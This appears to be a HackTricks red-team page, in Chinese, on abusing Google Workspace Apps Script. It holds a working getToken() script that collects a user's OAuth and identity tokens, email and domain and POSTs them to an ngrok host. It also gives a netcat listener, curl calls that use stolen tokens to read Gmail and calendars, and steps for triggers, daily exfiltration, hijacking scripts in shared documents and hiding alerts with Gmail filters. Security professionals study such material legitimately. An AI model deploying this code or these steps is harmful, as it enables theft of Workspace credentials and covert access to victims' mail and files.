GWS - App Scripts

Tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks

App Scripts

App Scripts 是 当具有编辑权限的用户访问与 App Script 关联的文档时触发的代码,并在 接受 OAuth 提示后
它们还可以由 App Script 的所有者设置为 每隔一定时间执行(持久性)。

创建 App Script

有几种方法可以创建 App Script,尽管最常见的方法是 从 Google 文档(任何类型) 和作为 独立项目

从 Google Docs、Sheets 或 Slides 创建一个容器绑定项目
  1. 打开一个 Docs 文档、一个 Sheets 电子表格或一个 Slides 演示文稿。
  2. 点击 扩展 > Google Apps Script
  3. 在脚本编辑器中,点击 未命名项目
  4. 给你的项目命名,然后点击 重命名
创建一个独立项目

要从 Apps Script 创建一个独立项目:

  1. 访问 script.google.com
  2. 点击添加 新项目
  3. 在脚本编辑器中,点击 未命名项目
  4. 给你的项目命名,然后点击 重命名
从 Google Drive 创建一个独立项目
  1. 打开 Google Drive
  2. 点击 新建 > 更多 > Google Apps Script
从 Google Forms 创建一个容器绑定项目
  1. 在 Google Forms 中打开一个表单。
  2. 点击更多 more_vert > 脚本编辑器
  3. 在脚本编辑器中,点击 未命名项目
  4. 给你的项目命名,然后点击 重命名
使用 clasp 命令行工具创建一个独立项目

clasp 是一个命令行工具,允许你从终端创建、拉取/推送和部署 Apps Script 项目。

有关更多详细信息,请参阅 使用 clasp 的命令行界面指南

App Script 场景

使用 App Script 创建 Google 表格

首先创建一个 App Script,我对这个场景的建议是创建一个 Google 表格并转到 扩展 > App Scripts,这将为你打开一个 与表格关联的新 App Script

泄露令牌

为了提供对 OAuth 令牌的访问,你需要点击 服务 + 并添加范围,例如

  • AdminDirectory:访问目录的用户和组(如果用户具有足够的权限)
  • Gmail:访问 Gmail 数据
  • Drive:访问 Drive 数据
  • Google Sheets API:以便与触发器一起工作

要自行更改 所需的范围,你可以转到项目设置并启用:**在编辑器中显示 "appsscript.json" 清单文件

function getToken() {
var userEmail = Session.getActiveUser().getEmail()
var domain = userEmail.substring(userEmail.lastIndexOf("@") + 1)
var oauthToken = ScriptApp.getOAuthToken()
var identityToken = ScriptApp.getIdentityToken()

// Data json
data = {
oauthToken: oauthToken,
identityToken: identityToken,
email: userEmail,
domain: domain,
}

// Send data
makePostRequest(data)

// Use the APIs, if you don't even if the have configured them in appscript.json the App script won't ask for permissions

// To ask for AdminDirectory permissions
var pageToken = ""
page = AdminDirectory.Users.list({
domain: domain, // Use the extracted domain
orderBy: "givenName",
maxResults: 100,
pageToken: pageToken,
})

// To ask for gmail permissions
var threads = GmailApp.getInboxThreads(0, 10)

// To ask for drive permissions
var files = DriveApp.getFiles()
}

function makePostRequest(data) {
var url = "http://5.tcp.eu.ngrok.io:12027"

var options = {
method: "post",
contentType: "application/json",
payload: JSON.stringify(data),
}

try {
UrlFetchApp.fetch(url, options)
} catch (e) {
Logger.log("Error making POST request: " + e.toString())
}
}

要捕获请求,您只需运行:

ngrok tcp 4444
nc -lv 4444 #macOS

请求执行 App Script 的权限:

Warning

由于发出了外部请求,OAuth 提示也会 请求访问外部端点的权限

创建触发器

一旦读取了应用,点击 ⏰ Triggers 创建触发器。作为 function 选择 getToken,在部署中选择 Head,在事件源中选择 From spreadsheet,在事件类型中选择 On openOn edit(根据您的需要)并保存。

请注意,如果您想调试某些内容,可以在执行选项卡中检查 App Scripts 的运行情况

共享

为了 触发 App Script,受害者需要以 编辑者访问 连接。

Tip

用于执行 App Scripttoken 将是 触发器创建者的 token,即使文件被其他用户以编辑者身份打开。

滥用与我共享的文档

Caution

如果有人 与您共享了一个包含 App Scripts 和使用 App Script 的 Head 的触发器的文档(而不是固定部署),您可以修改 App Script 代码(例如添加窃取 token 的功能),访问它,并且 App Script 将以与您共享文档的用户的权限执行! (请注意,所有者的 OAuth token 将具有在创建触发器时给予的访问范围)。

将向脚本的创建者发送通知,指示有人修改了脚本(使用 Gmail 权限生成过滤器以防止警报怎么样?)

Tip

如果 攻击者修改了 App Script 的范围,更新 不会应用 到文档,直到创建一个 带有更改的新触发器。因此,攻击者将无法窃取比他在创建的触发器中设置的范围更多的所有者创建者 token。

复制而不是共享

当您创建一个共享文档的链接时,会创建一个类似于以下的链接:https://docs.google.com/spreadsheets/d/1i5[...]aIUD/edit
如果您 结尾的 “/edit” 更改为 “/copy”,而不是访问它,谷歌会询问您是否要 生成文档的副本:

如果用户复制并访问它,文档的内容和 App Scripts 将被复制,但是 触发器不会,因此 不会执行任何操作

作为 Web 应用共享

请注意,将 App Script 作为 Web 应用共享(在 App Script 的编辑器中,部署为 Web 应用)也是可能的,但会出现如下警报:

随后是 典型的 OAuth 提示 请求所需的权限。

测试

您可以测试收集到的 token 来列出电子邮件:

curl -X GET "https://www.googleapis.com/gmail/v1/users/<user@email>/messages" \
-H "Authorization: Bearer <token>"

列出用户的日历:

curl -H "Authorization: Bearer $OAUTH_TOKEN" \
-H "Accept: application/json" \
"https://www.googleapis.com/calendar/v3/users/me/calendarList"

App Script 作为持久性

一个持久性的选项是创建一个文档并为 getToken 函数添加触发器,并将文档分享给攻击者,这样每次攻击者打开文件时,他就会提取受害者的令牌。

还可以创建一个 App Script,并使其每 X 时间(如每分钟、每小时、每天)触发。一个已获取受害者凭据或会话的攻击者可以设置一个 App Script 时间触发器,并每天泄露一个非常特权的 OAuth 令牌

只需创建一个 App Script,转到触发器,点击添加触发器,选择事件源为时间驱动,并选择最适合您的选项:

Caution

这将创建一个安全警报电子邮件和一条推送消息到您的手机,提醒您有关此事。

共享文档未验证提示绕过

此外,如果有人与您共享了一个编辑访问权限的文档,您可以在文档中生成App Scripts,而文档的所有者(创建者)将是 App Script 的所有者

Warning

这意味着,文档的创建者将出现在任何具有编辑访问权限的人在其中创建的 App Script 的创建者中。

这也意味着App Script 将被文档创建者的 Workspace 环境信任。

Caution

这也意味着,如果App Script 已经存在并且人们已授予访问权限,那么任何具有编辑权限的人都可以修改它并滥用该访问权限。
要滥用这一点,您还需要人们触发 App Script。而一个巧妙的技巧是将脚本发布为网络应用。当已经授予App Script 访问权限的人访问网页时,他们将触发 App Script(这也可以通过使用 <img> 标签实现)。

Tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks